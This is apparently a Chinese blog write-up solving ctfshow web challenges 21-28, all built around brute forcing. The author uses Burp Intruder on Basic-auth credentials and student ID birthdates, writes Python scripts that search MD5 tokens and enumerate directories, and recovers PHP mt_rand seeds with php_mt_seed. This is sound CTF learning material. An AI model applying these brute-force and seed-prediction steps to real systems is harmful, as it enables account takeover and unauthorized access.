ctfshow-web爆破(web21-28)(Completed)
ctfshow-web爆破(web21-28)(updating)
web21 burp爆破
题目
爆破什么的,都是基操
解
跟爆破相关,直接使用burp,因为win上的burp突然挂了,只能用kali上的先用一波,打开抓包,提示输入账号密码,输入然后抓包
看到Authorization字段像base64加密后的字段,解码查看
发现格式,然后我们发包到Intruder进行爆破,查看hint,发现账号密码
对其进行base64编码并加入爆破列表
拿到flag
web22 子域名
题目
域名也可以爆破的,试试爆破这个ctf.show的子域名
解
然后访问子域名查询爆破子域名,查到vip.ctf.show,鼠标放置标题处得flag
web23 MD5
题
还爆破?这么多代码,告辞!
解
查看网页源代码
点击查看代码
<!--?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?-->
我们根据源代码发现,只需构造一个md5加密前的字符上传即可,于是构造字典用两个字符枚举符合条件的token,上传token得到flag
脚本如下
import hashlib
dic = '0123456789abcdefghijklmnopqrstuvwxyz'
#md5 = "xzhisapig"
md5 = hashlib.md5(dic.encode()).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t.encode()).hexdigest()
if(md5[1]==md5[14] and md5[14]==md5[17]):
print(t)
print(md5+"\n")
得到结果
token md5
- 1m 9859011cc78b3687689e719ce0d111a5
- 3j f12882fc7cde8e1ba1cadec10e3e9393
- k0 28d61f7b1f07d88c18f1068410d140b5
- kv 82d09147453d572bc287f74aad062cfa
- ll 5b54c0a045f179bcbbbc9abcb8b5cd4c
- mw 38fed7107cee058098ca06304c1beb90
然后一个一个试,3j能得到flag
web24 伪随机数
题目
爆个🔨
解
打开题目,得到源代码
<!--?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?--> Linux version 5.4.0-88-generic (buildd@lgw01-amd64-008) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 Linux version 5.4.0-88-generic (buildd@lgw01-amd64-008) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021
根据查询,mt_srand函数只要规定了种子,其得到的伪随机数就是确定的,因此,我们自行构造一个和其种子一样的代码
<!--?php
mt_srand(372619038);
echo intval(mt_rand());
?-->
得到结果
1155388967
于是根据源代码将r赋为该值使用GET请求即得flag
web25 php mtrand()随机数生成漏洞
题目描述
爆个🔨,不爆了
拿到源代码
<!--?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
解
观察代码,要使rand为0,并且token和mt_rand()+mt_rand()相等即可得到flag。
首先,我们传入r=0得到intval(mt_rand())得值
r=0
rand=r-mt_rand()
rand = -195420007
-->mt_rand()=195420007
因此,r应传入195420007
然后解决token,这边参考大佬们关于伪随机数漏洞的博客:php伪随机数漏洞使用教程
里面介绍了关于知道了第一个随机数返回查找种子的脚本,脚本网址:
https://www.openwall.com/php_mt_seed/
脚本使用方法为:
kali下,进入目录,make
time ./php_mt_seed 第一个随机数
打开Kali开始操作,将前面得到的第一个随机数
time ./php_mt_seed 195420007
得到结果
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xe0000000 - 0xe3ffffff, speed 7829.4 Mseeds/s
seed = 0xe316e4c8 = 3809928392 (PHP 3.0.7 to 5.2.0)
seed = 0xe316e4c9 = 3809928393 (PHP 3.0.7 to 5.2.0)
Found 2, trying 0xfc000000 - 0xffffffff, speed 7829.4 Mseeds/s
Version: 5.2.1+
Found 2, trying 0x5a000000 - 0x5bffffff, speed 74.4 Mseeds/s
seed = 0x5bbabbd8 = 1538964440 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x5bbabbd8 = 1538964440 (PHP 7.1.0+)
Found 4, trying 0xb2000000 - 0xb3ffffff, speed 74.1 Mseeds/s
seed = 0xb398a984 = 3013126532 (PHP 7.1.0+)
Found 5, trying 0xe0000000 - 0xe1ffffff, speed 74.2 Mseeds/s
seed = 0xe1a145ca = 3785442762 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xe1a145ca = 3785442762 (PHP 7.1.0+)
Found 7, trying 0xfe000000 - 0xffffffff, speed 74.3 Mseeds/s
Found 7
将php7.1.0+的值遍历填入脚本,并依次将生成的token值增加到Cookie值里(通过firefox+Fn12存储可以修改Cookie值)
<?php
mt_srand(3013126532);
mt_rand();
echo mt_rand()+mt_rand();
?>
//ps:这里需要mt_rand()是因为源代码里也先进行过依次随机数生成
最后验证得当seed为3013126532时可以得到flag
web26 抓包
题目描述
这个可以爆
解
打开burp,提交并抓包即得flag
web27 学生信息泄露+身份证号爆破
题目描述
CTFshow菜鸡学院招生啦!
解
有录取名单,有学生信息查询,有账号密码,盲猜用录取名单里的信息查询学生信息,然后登录获得flag
打开名单
然后我们打开查询界面,准备爆破第一位小同志
用burp抓包,发到Intruder模块
对其身份证号中间八位用八位生日进行爆破
爆破成功,生日为19900201
查看response包
HTTP/1.1 200 OK
Server: nginx/1.21.1
Date: Sat, 13 Nov 2021 11:28:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.11
Content-Length: 195
{"0":"success","msg":"\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801"}
把最后一串数据放到控制台解码
得到弹窗
输入账号密码,得flag
web28 目录爆破
题目描述
大海捞针
hint:
通过暴力破解目录/0-100/0-100/看返回数据包,爆破的时候去掉2.txt 仅仅爆破目录即可
解
打开burp对目录爆破就完事儿,注意,我们在查询时一般查目录下都有得index.php
Cluster bomb可以进行多位置全组合爆破
而Pitchfork是顺序组合爆破
因此我们选择前者
但由于burp的爆破速度实在过于感人,只能通过编写py脚本来加快速度
import requests
def test():
url = "http://dd700c76-18e1-44a2-b362-ae89bf91c68d.challenge.ctf.show/"
for i in range(101):
for j in range(101):
newUrl = url+str(i)+"/"+str(j)+"/"+"index.php"
a = requests.get(newUrl).status_code
print("test:"+str(i)+"/"+str(j))
if(a!=404):
print(newUrl)
return
test()
先去整个校园骑,希望回来它已经给我url了~
一个被冷风吹傻的崽子回来更完最后一点ddd
结果出来了
浏览器访问
?????
不是吧giegie
重开容器访问
啊呜,是上帝开了一个小玩笑~
完结撒花!!!